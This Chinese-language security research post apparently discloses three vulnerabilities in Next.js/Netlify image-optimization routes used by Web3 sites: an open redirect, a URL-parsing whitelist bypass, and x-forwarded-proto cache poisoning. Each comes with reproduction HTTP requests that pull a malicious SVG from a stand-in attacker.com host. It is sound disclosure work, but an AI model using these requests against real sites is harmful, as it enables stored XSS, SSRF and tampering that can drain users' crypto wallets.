Web3 隐藏攻击面:挖掘Netlify 中的通用 XSS

Web3 隐藏攻击面:挖掘Netlify 中的通用 XSS

温馨提示:本文最后更新于2025-09-05 17:29:42,某些文章具有时效性,若有错误或已失效,请在下方留言或联系站长

引言

随着 Phantom、Metamask 和 Coinbase Wallet 等 Web3 浏览器扩展的出现,越来越多看似“静态”的网站允许用户直接从浏览器与以太坊和 Solana 等区块链网络进行交互。这些静态加密货币网站大多数由 Next.js 编写,并运行在 Netlify、Vercel 和 Github Pages 上。

我们怀疑几乎所有这些网站都使用 Next.js 的原因之一,是因为 Next.js 生态中对 Web3 功能的支持度很高。有许多库可以方便地与浏览器插件钱包进行交互,因此开发者自然会选择基于这些库来构建网站。

由于这些网站通常不存储敏感信息、不具备状态改变功能、也缺乏许多传统交互网站的元素(登录、注册、个人资料等),很容易让人误以为它们缺乏有价值的服务器端功能。然而,在对这些框架进行几个月的研究后,我们发现情况并非如此,因为 Next.js 上运行着许多服务器端组件。

静态 Web3 网站在安全性上的不同之处

从安全角度分析运行在 Next.js 上的轻量级 JavaScript 网站时,CVSS 模型中的以下要素会发生变化:

完整性(Web3 网站最重要的安全要素):

  • • 成为最敏感的 CVSS 元素。用户必须信任所访问的网站不会返回错误信息。
  • • 如果攻击者能够修改 HTTP 响应,注入恶意合约,或篡改客户端发送给合约的数据,就可能诱骗用户签署一笔交易,从而授权攻击者访问其所有代币和 NFT。
  • • 加密货币生态系统目前缺乏一种便捷的方法来验证所交互的合约地址是否属于网站所有者。普通用户在信任网站进行操作时,几乎不会去验证交互的合约是否正确。

可用性:

  • • 由于这些网站的去中心化特性,用户可以通过第三方网站或自己运行链的副本来直接与合约交互。
  • • 如果攻击者成功瘫痪了一个热门加密网站,用户只会通过社交媒体寻找替代站点,或使用像 Etherscan 这样的工具直接与合约交互。但这也带来额外风险,因为许多用户缺乏足够的技术知识去正确构造合约调用(例如发送正确的小数位数)。
  • • 一种拒绝服务攻击场景可能是:(1) 攻陷一个用于合约交互的热门网站(如 Etherscan),然后 (2) 瘫痪那些通常承载交互功能的热门网站或其 DNS。这样,攻击者就可以迫使大量用户与其恶意合约交互并窃取资金。

机密性(Web3 网站最不重要的安全要素):

  • • 变得相对无关紧要,因为应用中几乎没有敏感信息可获取,所有数据本身都已在链上公开。
  • • 将钱包地址与用户元数据进行关联,可能是影响 Web3 网站最具价值的发现,因为许多用户非常重视匿名性。

方法论

作为漏洞挖掘者,在理解这些网站与传统安全模型不同之后,我们重点关注如何破坏网站的完整性。我们特别留意网站资源的引入方式(比如,若攻击者能在 OpenSea 的 CDN 上把 Tether 的 logo 替换成 Ethereum 的 logo,然后用 100 假 ETH 出价竞拍 NFT 仅花 100 美元),并寻找修改页面响应与 DOM 的方式(XSS、任意文件上传、子域接管、DNS 问题、IPFS 问题等)。

当大量高度敏感的目标集中在同一技术栈中时,从安全角度几乎不可能忽视这个“篮子”。因此,我们断断续续花了大约 3 个月时间审计了 Next.js 生态系统。

发现与结果

使用 Next.js 的优势之一是其图像优化功能,它能更快地提供图片、缓存图片,并提升 Google SEO 排名。

其工作原理是:网站上暴露了一个路由来代理并尝试优化所有图片。像 Netlify 这样的服务商会在服务器端完成大部分处理和图片修改,从而让用户体验到更快的图片加载速度。

用户与该服务交互的一个示例如下:

  1. 1. Next.js 返回经过修改的 DOM,其中所有 <img src="..."/> 元素都会被重定向到 “/_next/image” 路由
  2. 2. 用户在加载页面时会通过以下 HTTP 请求来加载图片:

    GET /_next/image?url=/example.png&w=128&h=128&q=100
  3. 3. 托管服务商会在服务器端加载资源,然后为用户生成并返回修改过的优化版本

在研究该功能后,我们观察到两点:

  • • 当系统加载资源时,它会跟随任何 HTTP 重定向,即使是指向外部网站的重定向(例如 /_next/image?url=/redirect?url=//attacker.com
  • • 如果资源返回错误,站点会忽略任何内容类型检查,并返回完整的页面内容(包括 text/html)
  • • 该功能允许开发者将主机列入白名单,从而使服务器端作为预期功能去发起外部 HTTP 请求

我们发现的第一个问题是由于站点尝试加载本地资源的方式导致的开放重定向:

(1) “_next/image” 路径解析不当导致的开放重定向

当 “_next/image” 处理器尝试加载本地资源时,它会向自身发送一个模拟的 HTTP 请求。由于资源的 URI 参数是通过用户提供的 HTTP GET 参数传入的,攻击者可以提供带有反斜杠的 URL,这在正常 HTTP 请求中通常无法直接实现。当此问题与 Next.js Web 服务器的默认行为结合使用时(即用户尝试访问不存在的文件夹时会被重定向),攻击者可以让 HTTP 响应重定向到任意网站。

复现步骤

发送如下 HTTP 请求:

GET /_next/image?url=//example.com/&q=100&w=128&h=128
Host: victim.com

观察 HTTP 响应,你会发现它会将你重定向到 “example.com”

HTTP/2 308 Permanent Redirect
Content-Type: text/html
Location: /\/\/example.com

影响

直接来看,这使攻击者能够在任何运行默认 “next/image” 库的 Next.js 网站上实现开放重定向。许多拥有此功能的网站同时也是被列入白名单的 OAuth 回调域名。攻击者可以利用这些站点上的开放重定向漏洞来进行账户接管。


我们发现的上述开放重定向很有趣,因为它实际上会把重定向返回给用户,而不是在服务器端跟随重定向。原因是后端发生了错误:它不允许用户向带有额外斜杠的不存在路由发送请求,最终导致跳出功能并把用户重定向走。

在继续研究图像优化端点时,我们发现了 “_ipx” 路由。这个路由很有意思,因为它的工作方式与 “_next/image” 路由非常相似,但存在多个不同版本,由不同团队维护(例如 Nuxt.js 有一个名为 “unjs/ipx” 的扩展库,它不会加载外部资源,而 Netlify 则运行 “@netlify/ipx” NPM 模块,它会加载外部资源)。

由于我们的兴趣点在于寻找开放重定向、SSRF 和跨站脚本问题,我们便着重研究了 Netlify 的 IPX 版本。Netlify 的 IPX 路由工作方式如下:

优化本地资源的 HTTP 请求:

GET /_ipx/w_200/%2flocal.png
Host: example.com

(loaded example.com/local.png)

优化外部资源的 HTTP 请求:

GET /_ipx/w_200/https:%2f%2fexplicitly-allowed-website.com%2fimage.png
Host: example.com

(loaded explicitly-allowed-website.com/image.png IF the site was whitelisted)

在对该功能进行了一段时间的测试后,我们发现它使用了一个此前从未见过的独特 URL 解析库。我们查看了源码并意识到,可以通过多种混淆攻击方式破坏其 URL 解析逻辑:


(2) 依赖存在漏洞的 “unjs/ufo” 库导致 “@netlify/ipx” 主机解析不当,从而实现跨站脚本和服务器端请求伪造

如果开发者在配置文件中添加了白名单主机,那么由于 “unjs/ufo” 库中存在的 URL 解析问题,攻击者可以在运行 “@netlify/ipx” 库的任意网站上实现跨站脚本(XSS)和服务器端请求伪造(SSRF)。

复现步骤

向运行 “@netlify/ipx” 库的网站发送如下 HTTP 请求(需在配置文件中将 “example.com” 添加到白名单主机列表,并将 “attacker.com” 替换为你所控制的主机):、

GET /_ipx/w_200/https:%2f%2fexample.com%5c@attacker.com%2fattack.svg
Host: example.com

观察到一个 HTTP 请求被发送到了你控制的域名(attacker.com),如果在特定路由下托管了一个 Content-Type 为 image/svg+xml 的 SVG 文件,就可以通过该 SVG 文件执行任意 JavaScript。

影响

攻击者能够通过恶意 SVG 文件执行任意 JavaScript,并写入任意 HTML。可以绕过主机白名单,从任意网站发送/读取图像文件。由于 “/_ipx/” 路由在许多 Netlify 安装中是默认开启的,因此该问题可能会在大量网站上被滥用。


在发现上述问题后,我们感到有些挫败,因为它并不是完全通用的漏洞。攻击者必须找到一个将主机加入白名单的网站,并且还要知道具体添加了哪些主机。

于是我们将注意力转向寻找一种通用的漏洞利用方式,即能够在任何 “@netlify/ipx” 默认安装中生效的漏洞。由于 IPX 功能是开源的,我们开始审计源码,并发现了如下有趣的代码片段:

netlify-ipx/index.ts

const handler: Handler = async (event, _context) => {
const host = event.headers.host
const protocol = event.headers['x-forwarded-proto'] || 'http'

在构造用于获取优化后图像的 HTTP 请求时,服务器会默认使用 “http” 协议,除非通过 “x-forwarded-proto” 头显式指定协议。上述代码在获取本地图片时同样会被使用,因此即便没有配置白名单主机也能利用。

我们开始尝试篡改 “x-forwarded-proto” 头,随后意识到它是一个半定制化的实现,并且会完整解析来自该头的整个字符串。下面的代码展示了 “id” 参数(稍后会在发送完整 HTTP 请求时使用)是如何直接插入我们在 “x-forwarded-proto” 头中发送的字符串的:

netlify-ipx/index.ts

const isLocal = !id.startsWith('http')
if (isLocal) {
    id = `${protocol}://${host}${id.startsWith('/') ? '' : '/'}${id}`
}
if (event.headers.cookie) {
    requestHeaders.cookie = event.headers.cookie
}

在上述代码解析 “id” 参数后,该参数会在下面的代码中被使用,从而真正触发 HTTP 请求:

netlify-ipx/index.ts

const { response, cacheKey, responseEtag } = await loadSourceImage({
    cacheDir,
    url: id,
    requestEtag,
    modifiers,
    isLocal,
    requestHeaders
})

if (response) {
    return response
}

我们发现,可以通过 “x-forwarded-proto” 头发送带有尾随 “?” 或 “#” 的完整 URL,从而覆盖服务器原本试图访问的整个 URL。这非常有利,因为该易受攻击的组件是为图像优化而构建的,它具有优秀的缓存功能,会根据你通过实际 URI 加载的端点缓存图像。

攻击流程如下:

  1. 1. 添加 “x-forwarded-proto” 头,指向攻击者控制的主机和恶意文件;
  2. 2. 复制发送 HTTP 请求时的完整 URL;
  3. 3. 将该完整 URL 发送给受害者,该 URL 已被缓存,从而在打开时触发 XSS 有效载荷。

完整报告如下:


(3) 通过不当处理 “x-forwarded-proto” 头及可滥用缓存机制,在 “netlify-ipx” 上实现完全跨站脚本和服务器端请求伪造

“netlify-ipx” 库使用 “/_ipx/” 路由加载本地资源以进行图像优化。当用户请求资源后,服务器构建发送 HTTP 请求的 URL 时,有一段代码会通过 “x-forwarded-proto” 头接收输入,允许攻击者完全覆盖 HTTP 请求发送的 URL。攻击者可以通过该头发送完整的可控 URL,并结合服务器缓存功能,在 “/_ipx/” 路由下的任意 URI 上创建存储型跨站脚本(XSS)载荷(例如 /_ipx/example.svg)。

复现步骤

向 “/_ipx/” 下的任意端点发送如下 HTTP 请求,其中 “attacker.com” 为你控制的 Web 服务器主机,”malicious.svg” 是带有 XSS 载荷的 SVG 文件:

GET /_ipx/example.svg
Host: example.com
X-Forwarded-Proto: http://attacker.com/malicious.svg?

观察服务器会将 HTTP 请求代理到攻击者控制的 URL,并返回恶意 SVG 文件。

复制你发送 HTTP 请求时的完整 URL,并在不发送任何额外头信息的情况下打开它,你会发现该端点已经被缓存,缓存内容来自攻击者控制的主机,并会返回恶意内容。

影响

在所有运行 “netlify-ipx” 的网站上实现完全跨站脚本(XSS)和服务器端请求伪造(SSRF)。攻击者可以创建存储型 XSS 端点,当受害者访问该端点时,可以执行任意 JavaScript 和 HTML。

温馨提示:本文最后更新于2025-09-05 17:29:42,某些文章具有时效性,若有错误或已失效,请在下方留言或联系站长
© 版权声明
THE END
喜欢就支持一下吧
点赞7 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容